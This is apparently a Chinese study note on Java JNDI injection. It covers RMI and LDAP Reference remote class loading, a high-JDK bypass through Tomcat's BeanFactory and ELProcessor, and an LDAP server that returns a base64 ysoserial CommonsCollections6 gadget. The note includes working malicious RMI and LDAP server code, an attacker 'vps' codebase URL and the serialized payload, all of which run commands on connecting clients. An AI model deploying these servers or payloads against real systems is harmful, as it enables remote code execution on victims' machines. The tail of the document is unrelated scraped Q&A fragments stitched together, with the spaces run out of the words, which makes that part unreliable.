根据官方文档https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
什么是 jndi,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象,就是一个对象对应一个字符串,可以把一个对象绑定到一个字符串上面
jndi 在 jdk 里面支持以下四种服务
前三种对应的都是对象,最后一种dns是ip对应域名就是dns服务的功能
这里相当于再看一下RMI的实现了
还是先创建一套RMI的基础服务就是一个接口一个server,一个client,一个对象
然后创建JNDI
server
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
//这个叫上下文,这个是一定要先创建的
InitialContext initialContext = new InitialContext();
// Registry registry = LocateRegistry.createRegistry(1099);
//然后把那个对象绑定到RMI这个地址上
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjimpl());
}
}
然后再通过Client去连接
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHellow("xiaoli"));
}
}
其实到这里就会有些思考,它似乎好像通过RMI去这个协议这个地址去调用了那个对象,但是它好像又没有注册中心那它是找到这个对象的呢就感觉他们直接的通信好像少了点东西(这是我个人的感觉吧),我在想它既然调用的是RMI那么会不会调用到原生的RMI呢,我们打个断点进去调试一下

我们可以发现它会在这个

其实这个就是RMI中的lookup调用的就是原生的lookup,这里就会出现一个攻击点,就是在JNDIRMIClient中如果我们查询的RMI地址是可控的我们就可以来查询我们构建的恶意的注册中心,然后去执行一些代码,这里是可控的话

但是这不是我们传统的JNDI注入,传统的JNDI注入是怎么样的呢?
这里是JNDI的原生漏洞这个漏洞被称作 Jndi 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题。这个问题在121的版本已经被修复了我们还是简单的看一下原理和利用
原理就是一个引用对象吧,在服务端创建一个引用对象 Reference 对象,
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
//这个叫上下文,这个是一定要先创建的
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");;
// Registry registry = LocateRegistry.createRegistry(1099);
//然后把那个对象绑定到RMI这个地址上
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

然后在本地挂一个恶意类,恶意的类就是最简单的弹出计算器

就可以看到这样的效果,大概可以猜到应该是进行了类的加载,还是那个原因字节码文件不匹配,项目调试的时候好像java的版本调高了然后我运行的时候给单独文件调了java的版本,跟着视频和文章去看了一下然后自己手动找了一下那些类就没有动调了就纯静态的去看,就是一路往下跟踪那些lookup方法然后中间有一些判断经过最后到达RMI的原生的lookup方法,大概比较重要的几个方法
在先前说registryContext中会到这个方法

下面有个this.registry方法调用进去就是RMI的原生方法,然后继续往下走,走到一个叫decodeObject方法

更进来看到 getObjectInstance看到这个方法应该就知道IM应该会有

接着往下走会走到一个叫getObjectFactoryFromReference()的方法,这个方法会去获取我们的恶意类
继续往下走,获取到 codebase,并且进行 helper.loadClass(),这里就是我们前面讲到的动态加载类的一个方法 ———— URLClassLoader

最后走进来,就找到了这个newInstance

整个工程就是在于调用了lookup方法
是一种通用的协议名字叫轻量级目录访问协议,从名字就可以看出来这是一种目录访问控制的一种协议
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。
JNDI的ldap注入就是一种简单的绕过,看一下简单的实现,还是先启动一个LDAP的server
引入一个依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
LdapServer
这里用一个叫做Apache Directory Studio的软件来启动一个LADP服务
这里主要LDAP得是一个目录控制的协议,那么目录控制就得存在web才可以控制,就是我们得先用python启动一个server
这里是要把自己的恶意对象先绑定到LDAP上然后用ladp协议去访问我们的恶意对象
运行一下Server
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
//这个叫上下文,这个是一定要先创建的
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");;
// Registry registry = LocateRegistry.createRegistry(1099);
//然后把那个对象绑定到RMI这个地址上
initialContext.rebind("ldap://localhost:10389/remoteObj/cn=test,cd=example,dc=com", reference);
}
}

这个时候就体现出来已经绑定上来了,然后再直接lookup一下这个Ldap就行了
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("idap://localhost:10389/cn=test,dc=example,dc-com");
}
}

然后就弹出计算机了。
这的原理的话就去做笔记了稍微跟一下就知道了它前面是一些

这个方法是从ldap里面获取一些属性然后他的下一步就是去获取一些属性

走完里面的方法就把这个Reference拿到了,随后就会走到这个方法

往下走,获取这个工厂地址

然后向下走,这里的大概逻辑就是现在这里本地加载一些这个类

本地没获取到,然后就就就获取到那个远程地址后面的loadclass就是经典的远程类加载了就没有必要再更下去了

这个攻击呢还是说利用我们的Reference然后去lookup去调用了类加载机制,这个LDAP+Reference跟RMI的的危害有点像,都是去创建服务端然后挂上恶意类然后让客户端去远程加载,有注意一点的是DAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制,就是LDAP的话影响会更加远一点
这个就是ldap,因为在修复的时候它没有修复到ladap的漏洞,我们看一下191之后的修复代码
// 旧版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
// 新版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
上面修改的代码我去idea看一下

这里说的是先用本地的类加载器去加载。如果没加载到 他就会去下面的codebase里面去加载

这里codebase进去话我们发现别原来多了一行判断,要必须是本地类才可以进行加载,其实就是改了一个配置,现在的配置不允许远端加载了

不能远端加载但是它可以本地类加载呗,有类加载就还是会存在利用,我们要在本地找一点恶意的类来利用
上面我们提到了其实就是去找本地类加载呗,然后因为Renfence这个类的构造方法需要工厂类,然我们就找实现avax.naming.spi.ObjectFactory这个接口的方法,然后我也没去跟这个类的具体利用了,大概就是invoke,反射调用,我们自己控制了要调用的东西嘛,然后具体的话是在BeanFactory这个类的getObjectInstance()方法中

// JNDI 高版本 jdk 绕过服务端
public class JNDIBypassHighJava {
public static void main(String[] args) throws Exception {
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
InitialContext initialContext = new InitialContext();
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('cacl)"));
initialContext.rebind("rmi://localhost:1099/remoteobj,ref",ref);
}
}
客户端:
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1099/remoteObj");
}
}
看一下服务端的实现吧,第一个参数javax.el.ELProcessor就是常规el表达式然后执行命令这里的原理是反射调用EL表达式造成的命令执行
跟进去看看实现把在lookup处打断点,前面都都是些,进 lookup 这里和之前是一样的直接一直跟进这个方法 decodeObject() 法当中,这个方法当中调用了 getObjectInstance()

看这个方法名字就去获取我传进去的那个工厂类,然后这个工厂类是它本生的是tomcat中的一个类

然后就会本地加载这个类,然后跟下去就是我先前修复哪里会判断拿到的clas是不是空的如果不为空就可以开始调用这个类的无参构造方法

调用了无参构造方法,然后会调用那个工厂类的getObjectInstance方法
到这里其实就明了了,进来了之后就是BeanFactory的getObjectInstance方法,就是这个方法里面会调用那个invoke然后中间还有一些细节的东西
LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化咯多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。
首先要把cc链子的payload转换成base64格式
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
然后把它加到JNDI服务端里面
import java.text.ParseException;
public class JNDIGadgetServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://vps:8000/#ExportObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
触发方式就算ldap直接lookup方法调用就行了
我们调试进lookup方法

来得这个decodeObject,跟进去向下跟会走到获取Classloader那个方法

然后这就是我们说的判断是否是远程类,是的话就不加字了,然后我们就往下看,然后就跳到了很开心的方法deserializeObject

然后后续就是readObject

然后就形成反序列化了、
对于 JNDI 的注入,最重要的是掌握 JNDI 通用注入,也就是 LDAP + Reference 这一个;在掌握了这个之后,理解高版本 jdk 的绕过也相对简单了,感觉没写得特别仔细,主要是自己记录了一下过程,然后自己去调试了很多
有需要的话推荐一些师傅的文章吧比我的写得详细得多
Java反序列化之JNDI学习 | 芜风 (drun1baby.github.io)
[浅析高低版JDK下的JNDI注入及绕过 Mi1k7ea ]
[浅析JNDI注入 Mi1k7ea ]
我真的很习惯使用Ruby编写以下代码:my_hash={}my_hash['test']=1Java中对应的数据结构是什么? 最佳答案 HashMapmap=newHashMap();map.put("test",1);我假设? 关于java-等价于Java中的RubyHash,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/22737685/
我正在尝试使用boilerpipe来自JRuby。我看过guide从JRuby调用Java,并成功地将它与另一个Java包一起使用,但无法弄清楚为什么同样的东西不能用于boilerpipe。我正在尝试基本上从JRuby中执行与此Java等效的操作:URLurl=newURL("http://www.example.com/some-location/index.html");Stringtext=ArticleExtractor.INSTANCE.getText(url);在JRuby中试过这个:require'java'url=java.net.URL.new("http://www
我只想对我一直在思考的这个问题有其他意见,例如我有classuser_controller和classuserclassUserattr_accessor:name,:usernameendclassUserController//dosomethingaboutanythingaboutusersend问题是我的User类中是否应该有逻辑user=User.newuser.do_something(user1)oritshouldbeuser_controller=UserController.newuser_controller.do_something(user1,user2)我
什么是ruby的rack或python的Java的wsgi?还有一个路由库。 最佳答案 来自Python标准PEP333:Bycontrast,althoughJavahasjustasmanywebapplicationframeworksavailable,Java's"servlet"APImakesitpossibleforapplicationswrittenwithanyJavawebapplicationframeworktoruninanywebserverthatsupportstheservletAPI.ht
这篇文章是继上一篇文章“Observability:从零开始创建Java微服务并监控它(一)”的续篇。在上一篇文章中,我们讲述了如何创建一个Javaweb应用,并使用Filebeat来收集应用所生成的日志。在今天的文章中,我来详述如何收集应用的指标,使用APM来监控应用并监督web服务的在线情况。源码可以在地址 https://github.com/liu-xiao-guo/java_observability 进行下载。摄入指标指标被视为可以随时更改的时间点值。当前请求的数量可以改变任何毫秒。你可能有1000个请求的峰值,然后一切都回到一个请求。这也意味着这些指标可能不准确,你还想提取最小/
HashMap中为什么引入红黑树,而不是AVL树呢1.概述开始学习这个知识点之前我们需要知道,在JDK1.8以及之前,针对HashMap有什么不同。JDK1.7的时候,HashMap的底层实现是数组+链表JDK1.8的时候,HashMap的底层实现是数组+链表+红黑树我们要思考一个问题,为什么要从链表转为红黑树呢。首先先让我们了解下链表有什么不好???2.链表上述的截图其实就是链表的结构,我们来看下链表的增删改查的时间复杂度增:因为链表不是线性结构,所以每次添加的时候,只需要移动一个节点,所以可以理解为复杂度是N(1)删:算法时间复杂度跟增保持一致查:既然是非线性结构,所以查询某一个节点的时候
遍历文件夹我们通常是使用递归进行操作,这种方式比较简单,也比较容易理解。本文为大家介绍另一种不使用递归的方式,由于没有使用递归,只用到了循环和集合,所以效率更高一些!一、使用递归遍历文件夹整体思路1、使用File封装初始目录,2、打印这个目录3、获取这个目录下所有的子文件和子目录的数组。4、遍历这个数组,取出每个File对象4-1、如果File是否是一个文件,打印4-2、否则就是一个目录,递归调用代码实现publicclassSearchFile{publicstaticvoidmain(String[]args){//初始目录Filedir=newFile("d:/Dev");Datebeg
我基本上来自Java背景并且努力理解Ruby中的模运算。(5%3)(-5%3)(5%-3)(-5%-3)Java中的上述操作产生,2个-22个-2但在Ruby中,相同的表达式会产生21个-1-2.Ruby在逻辑上有多擅长这个?模块操作在Ruby中是如何实现的?如果将同一个操作定义为一个web服务,两个服务如何匹配逻辑。 最佳答案 在Java中,模运算的结果与被除数的符号相同。在Ruby中,它与除数的符号相同。remainder()在Ruby中与被除数的符号相同。您可能还想引用modulooperation.
Java的Collections.unmodifiableList和Collections.unmodifiableMap在Ruby标准API中是否有等价物? 最佳答案 使用freeze应用程序接口(interface):Preventsfurthermodificationstoobj.ARuntimeErrorwillberaisedifmodificationisattempted.Thereisnowaytounfreezeafrozenobject.SeealsoObject#frozen?.Thismethodretur
在Java中,可以像这样从一个字符串创建一个IO流:Readerr=newStringReader("mytext");我希望能够在Ruby中做同样的事情,这样我就可以获取一个字符串并将其视为一个IO流。 最佳答案 r=StringIO.new("mytext")和here'sthedocumentation. 关于java-Java的StringReader的Ruby等价物是什么?,我们在StackOverflow上找到一个类似的问题: https://st